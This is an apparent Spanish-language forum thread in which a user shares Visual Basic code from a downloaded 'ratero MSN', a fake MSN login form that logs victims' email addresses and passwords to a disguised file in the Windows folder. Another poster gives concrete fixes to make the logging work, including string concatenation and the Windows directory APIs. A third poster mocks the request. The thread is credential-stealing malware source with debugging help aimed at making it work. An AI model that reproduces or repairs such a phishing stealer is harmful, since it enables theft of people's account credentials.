Problema con código

[z3r0 Bug]

Hola. Tengo un pequeño problema con un código fuente que descargue de Internet, es el del ratero MSN, no me guarda ningún fichero con las contraseñas...


Este es el codigo:

    Dim usuario$, pass$
    Dim numfic%
    usuario = txtCorreo.Text
    pass = txtPassword.Text
    numfic = FreeFile
    Open "%SystemDrive%\windows\systemwin.txt" For Append As numfic
    Print #numfic, usuario, pass
    Close numfic
    Open "%SystemDrive%\windows\memo.txt" For Output As numfic
    Print #numfic, usuario
    Close numfic
        Unload Me
        frmPrincipal.Picture = frmPrincipal.imgFondoInicio
        frmPrincipal.Timer = True
        frmPrincipal.Show
    End If

A ver si alguien puede ayudarme...

[Kizar]

Hay dos posibles fallos. uno es grave.

Código [Seleccionar] Expandir


    Print #numfic, usuario, pass
quedaria
    Print #numfic, usuario & " " & pass


y podria cambiar %SystemDrive% por la ruta k prefieras, eso es todo, el error esta en lo primero.

Salu2

[z3r0 Bug]

Aun reparando eso no pasa nada, y el %SystemDrive% lo coloque yo para q lo grabara en el disco donde esta wl Windows

[Kizar]

ay 2 apis:

GetWindowsDirectory     te da la ruta de windows

GetSystemDirectory       te da la ruta de el systema

Salu2

[z3r0 Bug]

ya pero aun no tengo la respuesta para poder grabar en el disco.

[NYlOn]

%SystemDrive% no es una funcion del vb xDD

ya pero aun no tengo la respuesta para poder grabar en el disco.

Me encule y sake el codigo
Esto no es una tienda.
Ya te dieron las 2 APIs ahora busca como las podes utilizar.

[z3r0 Bug]

%SystemDrive% no es una funcion del vb xDD

Lo tengo claro, pero si sirve para entrar a siertas carpetas son comandos rapidos es como colocar c:, pero en el caso q la persona no tenga el windows en el C: este comando redirecciona automaticamente. ej. el windows esta en el H:, %SystemDrive% me manda al disco H.... Igual Gracias por todo, estoy pidiendole ayuda al creador del codigo fuente..

por el momento el tema esta cerrado... = gracias por ayudarme, aunque estoy algo enredado con el codigo , ya chao.

[NYlOn]

Lo q se tiene q leer hoy en dia...